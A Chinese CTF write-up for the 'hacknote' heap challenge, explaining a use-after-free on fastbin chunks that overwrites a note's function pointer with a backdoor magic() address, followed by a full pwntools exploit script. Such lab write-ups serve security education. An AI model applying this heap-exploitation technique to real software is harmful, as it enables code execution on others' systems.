1,三连
基本信息:x86-32-el,堆题思路;
保护:Partial RELRO。
堆题多看一个Libc:
2,IDA分析
main功能:
add_note()功能:
malloc了两次:
8字节填充(利用点之一)=print_note_conten函数地址+print_note_content内容地址;
notelist[]属于bss段全局变量,存储chunk。
del_note()功能:
发现后门函数:
magic()=0x08048945
思路:UAF
条件:
堆块构成大小-fastbin;
一次add_note()malloc了两次,地址被notelist[]数组保存;
例如一次add_note(),notelist[0]=&print_note_content
notelist[1]=内容
3,payload调试
断点1
关注点:0x804b158[3] = node[0]= 0x080485fb等会被改写
断点2:
调试3:
然后调用printf即条用了magic函数。
完整payload:
from pwn import*
#r=remote('node4.buuoj.cn',27727)
r=process('./hacknote')
def add(size,content):
r.sendlineafter('choice :','1')
r.sendlineafter('Note size :',str(size))
r.sendlineafter('Content :',content)
def delete(idx):
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(idx))
def printf(idx):
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(idx))
shell_addr=0x8048945
gdb.attach(r)
add(24,'aaaa')
#pause() #break1
add(24,'bbbb')
delete(0)
delete(1)
#pause() #break2
add(8,p32(shell_addr))
pause() #break3
printf(0)
r.interactive()
总结:
uaf条件:
fastbin利用,重新从tcache中获取free_fastbin,达到控制内容效果。
本题辅助点:
add_note()中可控制调用Put(即程序功能3. Print note
),同时magic函数直接system()调用
完。